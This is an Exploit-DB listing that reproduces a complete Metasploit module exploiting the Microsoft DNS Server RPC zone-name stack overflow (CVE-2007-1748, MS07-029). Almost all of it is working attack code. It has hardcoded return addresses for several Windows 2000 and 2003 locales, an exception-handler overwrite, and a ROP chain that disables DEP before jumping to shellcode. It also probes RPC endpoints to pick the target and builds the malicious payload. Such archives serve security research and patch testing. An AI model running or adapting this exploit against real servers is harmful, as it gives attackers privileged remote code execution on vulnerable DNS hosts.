标题: Microsoft DNS RPC Service - 'extractQuotedChar()' TCP Overflow (MS07-029) (Metasploit) EDB-ID: 16748 CVE: 2007-1748 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: ms07_029_msdns_zonename.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the RPC interface
    of the Microsoft DNS service. The vulnerability is triggered
    when a long zone name parameter is supplied that contains
    escaped octal strings. This module is capable of bypassing NX/DEP
    protection on Windows 2003 SP1/SP2.
   },
   'Author'         =>
    [
     'hdm',      # initial module
     'anonymous' # 2 anonymous contributors (2003 support)
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     ['CVE', '2007-1748'],
     ['OSVDB', '34100'],
     ['MSB', 'MS07-029'],
     ['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread'
    },
   'Payload'        =>
    {
     'Space'    => 500,

     # The payload doesn't matter, but make_nops() uses these too
     'BadChars' => "\x00",

     'StackAdjustment' => -3500,

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],

     # WS2HELP.DLL
     [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
     [ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
     [ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],

     # Use the __except_handler3 method (and jmp esp in ATL.dll)
     [ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
     [ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],

     # ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
     [ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
     [ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
     [ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
     [ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
     [ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],

    ],
   'DisclosureDate' => 'Apr 12 2007',
   'DefaultTarget'  => 0 ))

  register_options(
   [
    Opt::RPORT(0),
    OptString.new('Locale', [ true,  "Locale for automatic target (English, French, Italian, ...)", 'English'])
   ], self.class)
 end


 def gettarget(os)

  targets.each do |target|
   if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
    return target
   end
  end

  return nil
 end


 def exploit


  # Ask the endpoint mapper to locate the port for us
  dport = datastore['RPORT'].to_i

  if ((dport != 0) && (target.name =~ /Automatic/))
   print_error("Unable to use automatic targeting when RPORT is given");
   return
  end

  if (dport == 0)

   dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')

   if (not dport)
    print_error("Could not determine the RPC port used by the Microsoft DNS Server")
    return
   end

   print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
  end


  mytarget = nil

  if (target.name =~ /Automatic/)

   # scheduler service is only available on 2k3 SP0 and 2000
   schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')

   if (not schedport)
    print_status("Detected a Windows 2003 SP1-SP2 target...")
    mytarget = gettarget('2003SP12')
   else
    # only available on 2003 SP0
    schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')

    if (not schedport)
     print_status("Detected a Windows 2000 SP0-SP4 target...")
     mytarget = gettarget('2000')
    else
     print_status("Detected a Windows 2003 SP0 target...")
     mytarget = gettarget('2003SP0')
    end
   end

   if (not mytarget)
    print_error("There is no available target for this locale")
    return
   end
  else
   mytarget = target
  end



  # Connect to the high RPC port
  connect(true, { 'RPORT' => dport })
  print_status("Trying target #{target.name}...")

  # Bind to the service
  handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  # Create our buffer with our shellcode first
  txt = Rex::Text.rand_text_alphanumeric(8192)

  if (target['OS'] =~ /2000/)
   txt[0, payload.encoded.length] = payload.encoded

   off = target['Off']
   txt[ off ] = [mytarget.ret].pack('V')
   txt[ off - 4, 2] = "\xeb\x06"
   txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

  elsif (target['OS'] =~ /2003SP0/)
   txt[0, payload.encoded.length] = payload.encoded

   off = target['Off']
   txt[ off ] = [mytarget['Rets'][0]].pack('V')  # __except_handler3
   txt[ off - 4, 2] = "\xeb\x16"

   # addr = A + B*12 + 4 = 0x77f7e7f0  (ntdll -> 0x77f443c9)
   addr  = mytarget['Rets'][1] - 4
   addr1 = addr / 2
   addr2 = addr1 + addr % 2
   addr1 = addr1 + (addr2 % 12)
   addr2 = addr2 / 12

   txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B

   #
   # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
   #
   # 0x77f443c9 jmp off_77f7e810[edx*4]   ;  edx = 0 so jmp to 77f443d0
   # 0x77f443d0 mov eax, [ebp+arg_0]
   # 0x77f443d3 pop esi
   # 0x77f443d4 pop edi
   # 0x77f443d5 leave    ; mov esp, ebp
   # 0x77f443d6 retn     ; ret

   txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V')  # jmp esp
   txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')

  elsif (mytarget['OS'] =~ /2003SP12/)
   off = mytarget['Off']
   ib  = mytarget['IB']
   txt[ off ] = [ib + 0x2566].pack('V')


   # to bypass NX we need to emulate the call to ZwSetInformationProcess
   # with generic value (to work on SP1-SP2 + patches)

   off = 445

   # first we set esi to 0xed by getting the value on the stack
   #
   # 0x76a81da7:
   # pop esi   <- esi = edh
   # retn

   txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
   txt[ off + 28, 4] = [0xed].pack('V')

   # now we set ecx to 0x7ffe0300, eax to 0xed
   # 0x76a81da4:
   # pop ecx    <-  ecx = 0x7ffe0300
   # mov eax, esi   <- eax == edh
   # pop esi
   # retn

   txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
   txt[ off + 36, 4] = [0x7ffe0300].pack('V')

   # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
   # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
   # 0x76a8109c:
   # call dword ptr [ecx]

   txt[ off + 44, 4] = [ib + 0x109c].pack('V')  # call dword ptr[ecx]
   txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')

   # we catch the second exception to go back to our shellcode, now that
   # NX is disabled

   off = 1013
   txt[ off, 4 ] = [ib + 0x135bf].pack('V')   # (jmp esp in atl.dll)
   txt[ off + 24, payload.encoded.length ] = payload.encoded

  end

  req = ''

  # Convert the string to escaped octal
  txt.unpack('C*').each do |c|
   req << "\\"
   req << c.to_s(8)
  end

  # Build the RPC stub data
  stubdata =
   NDR.long(rand(0xffffffff)) +
   NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +

   NDR.long(rand(0xffffffff)) +
   NDR.string(req + "\x00") +

   NDR.long(rand(0xffffffff)) +
   NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")

  print_status('Sending exploit...')

  begin
   response = dcerpc.call(1, stubdata)

   if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
    print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
   end
  rescue ::Exception => e
   print_error("Error: #{e}")
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16748